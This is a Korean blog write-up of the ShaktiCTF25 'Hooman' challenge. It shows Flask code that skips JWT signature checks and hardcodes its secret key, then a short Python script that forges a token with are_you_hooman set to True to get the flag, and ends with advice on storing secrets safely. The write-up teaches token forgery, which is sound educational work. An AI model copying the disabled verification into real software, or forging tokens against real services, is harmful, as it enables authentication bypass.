본문 바로가기
분류 전/CTF

[ShaktiCTF25] Hooman 풀이

by jwcs 2025. 7. 30.
728x90
반응형

개요

jwt를 이용한 인증의 취약점을 찾으면 되는 문제다.

 

기능 분석

/

처음 문제 사이트에 들어가면 위와 같은 화면을 볼 수 있다. username을 입력하면 `Nah, you ain't hooman`이라는 문자열이 출력된다. 코드와 함께 찾아보자.

 

from flask import Flask, request, redirect, render_template, make_response
import jwt

app = Flask(__name__)
SECRET_KEY = 'Youcanneverhavethis' 
@app.route('/login', methods=['POST', 'GET'])
def login():
    error = None  
    if request.method == 'POST':
        data = request.json if request.is_json else request.form
        username = data.get('username')
        if not username:
            error = 'Username required'
            return render_template('login.html', error=error)

        token = jwt.encode({'username': username, 'are_you_hooman': False}, SECRET_KEY, algorithm='HS256')
        resp = make_response(redirect('/login'))
        resp.set_cookie('token', token)
        return resp

    else:
        token = request.cookies.get('token')
        if token:
            try:
                decoded = jwt.decode(token, key=None,options={"verify_signature": False}) 
                if decoded.get('are_you_hooman'):
                    return redirect('/hooman')
                error = "Nah, you ain't hooman T^T"
            except jwt.InvalidTokenError:
                error = "Invalid token"

        return render_template('login.html', error=error)

@app.route('/hooman')
def hooman():
    token = request.cookies.get('token')
    if not token:
        return 'No token provided', 401
    try:
        decoded = jwt.decode(token, key=None,options={"verify_signature": False})
        if decoded.get('are_you_hooman'):
            return '''
<html>
  <head><title>Hooman</title></head>
  <body style="background-color: #333; color: #f0f0f0; font-family: Arial; display: flex; justify-content: center; align-items: center; height: 100vh;">
    <h1>Hiii hoomann a message for ya! shaktictf{f4k3_fl4g}</h1>
  </body>
</html>
'''

        return 'Nah, you ain\'t hooman T^T', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=5000)

코드를 보면 username에 입력한 값으로 jwt를 생성해준다. 그런데 are_you_hooman 필드에 대해서 False로 인코딩해서 주기 때문에 you ain't hooman이라는 문자열이 출력됐던 것이다.

 

익스플로잇

SECRET_KEY = 'Youcanneverhavethis'

코드에서는 다음과 같은 secret_key가 하드코딩되어 있다.

이를 바탕으로 직접 jwt를 만들어 사용할 수 있다.

 

import jwt


SECRET_KEY = 'Youcanneverhavethis'
username = 'user1'

token = jwt.encode({'username': username, 'are_you_hooman': True}, SECRET_KEY, algorithm='HS256')

print(f"Generated JWT token: {token}")

이렇게 생성된 토큰을 사용해 /hooman 페이지에 접근하면 flag를 얻을 수 있다.

 

flag

shaktictf{now_uk_jwts_hoomannnnn}

짜잔

 

대응 방안

  • 시크릿 키가 코드에 하드코딩 되어 있다. 이렇게 되면 깃허브에 코드를 올릴 때 위험하고 코드가 유출되게 되면 시크릿 키를 얻을 수 있다. 보다 안전하게 보관하기 위해서는 환경 변수에 저장하는 것이 바람직하다.
728x90
반응형

'분류 전 > CTF' 카테고리의 다른 글

[WHY 2025 CTF] Planets 풀이  (3) 2025.08.14
[ShaktiCTF25] brain_games 풀이  (2) 2025.07.30
[ShaktiCTF25] FRIENDS 풀이  (2) 2025.07.30
[DownUnderCTF 2025] rocky 풀이  (0) 2025.07.22
[DownUnderCTF 2025] mini-me 풀이  (0) 2025.07.22